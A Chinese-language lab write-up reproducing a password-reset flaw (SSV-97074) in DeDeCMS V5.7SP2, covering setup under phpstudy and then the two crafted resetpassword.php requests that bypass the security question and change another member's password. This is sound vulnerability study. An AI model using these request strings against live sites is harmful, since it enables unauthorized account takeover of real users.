DeDeCMS前台任意用户密码修改漏洞复现

一、漏洞概述

1.漏洞简介

织梦内容管理系统(DedeCms)的前台任意用户密码修改漏洞，被Seebug 漏洞平台[3]收录该漏洞，漏洞编号为 SSV-97074。

2.漏洞限制 

1、 只影响前台账户

2、 只能修改未设置安全问题的账户

3.影响版本

DeDeCMSV5.7SP2 正式版(2018-01-09)

二、漏洞复现

1.复现环境

PHP 5.6

DeDeCMSV5.7SP2 正式版(2018-01-09)

2.复现过程及结果

（一）搭建网站，这里用的是phpstudy

 注意：DeDeCMSV5.7SP2 里面的文件一定要放在它的根目录下

 

 

 否则安装DeDeCMS时会出现打不开的情况会出现打不开的情况

 （二）安装DeDeCMS

地址栏输入 域名/uploads/install/index.php进入安装页面

如：www.iwantfff.com/uploads/install/index.php 

 点击继续

 数据库的密码在phpstudy查看

 

 

如果你做不成功第二次想再做过，就会显示数据库已存在，但是这个不用管，没有影响的。

 （三）登录，注册

（1）登陆后台，打开会员功能

 

 （2）注册一个没有安全问题的会员

 登录管理员账号，可以看到已经注册好的会员 。

 （四）burp抓包

（1）输入 

域名/member/resetpassword.php？dopost=safequestion&safequestion=0.0&safeanswer=&id=2

如：

www.iwantfff.com/member/resetpassword.php？dopost=safequestion&safequestion=0.0&safeanswer=&id=2

抓包得key，这是一会儿修改密码的临时验证码验证码。

 （2）修改密码

输入 ：域名/member/resetpassword.php?dopost=getpasswd&id=2

如：www.iwantfff.com/member/resetpassword.php?dopost=getpasswd&id=2

 修改成功。